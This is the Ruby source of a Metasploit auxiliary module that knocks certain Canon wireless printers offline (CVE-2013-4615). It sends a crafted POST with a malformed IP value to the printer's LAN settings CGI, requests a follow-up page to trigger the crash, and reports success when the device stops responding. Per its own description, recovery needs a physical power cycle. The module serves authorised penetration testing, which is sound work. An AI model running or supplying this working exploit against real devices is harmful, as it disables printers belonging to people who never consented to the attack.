## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Canon Wireless Printer Denial Of Service', 'Description' => %q{ The HTTP management interface on several models of Canon Wireless printers allows for a Denial of Service (DoS) condition via a crafted HTTP request. Note: if this module is successful, the device can only be recovered with a physical power cycle. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt "hostess" Andreko ' ], 'References' => [ [ 'CVE', '2013-4615' ], [ 'URL', 'http://www.mattandreko.com/2013/06/canon-y-u-no-security.html'] ], 'DisclosureDate' => 'Jun 18 2013')) end def is_alive? res = send_request_raw({ 'method' => 'GET', 'uri' => '/', },10) return !res.nil? end def run begin # The first request will set the new IP res = send_request_cgi({ 'method' => 'POST', 'uri' => '/English/pages_MacUS/cgi_lan.cgi', 'data' => 'OK.x=61' + '&OK.y=12' + '&LAN_OPT1=2' + '&LAN_TXT1=Wireless' + '&LAN_OPT3=1' + '&LAN_TXT21=192' + '&LAN_TXT22=168' + '&LAN_TXT23=1' + '&LAN_TXT24=114">' + '&LAN_TXT31=255' + '&LAN_TXT32=255' + '&LAN_TXT33=255' + '&LAN_TXT34=0' + '&LAN_TXT41=192' + '&LAN_TXT42=168' + '&LAN_TXT43=1' + '&LAN_TXT44=1' + '&LAN_OPT2=4' + '&LAN_OPT4=1' + '&LAN_HID1=1' }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE print_error("Couldn't connect to #{rhost}:#{rport}") return end # The second request will load the network options page, which seems to trigger the DoS send_request_cgi({ 'method' => 'GET', 'uri' => '/English/pages_MacUS/lan_set_content.html' },5) #default timeout, we don't care about the response # Check to see if it worked or not if is_alive? print_error("#{rhost}:#{rport} - Server is still alive") else print_good("#{rhost}:#{rport} - Connection Refused: Success!") end end end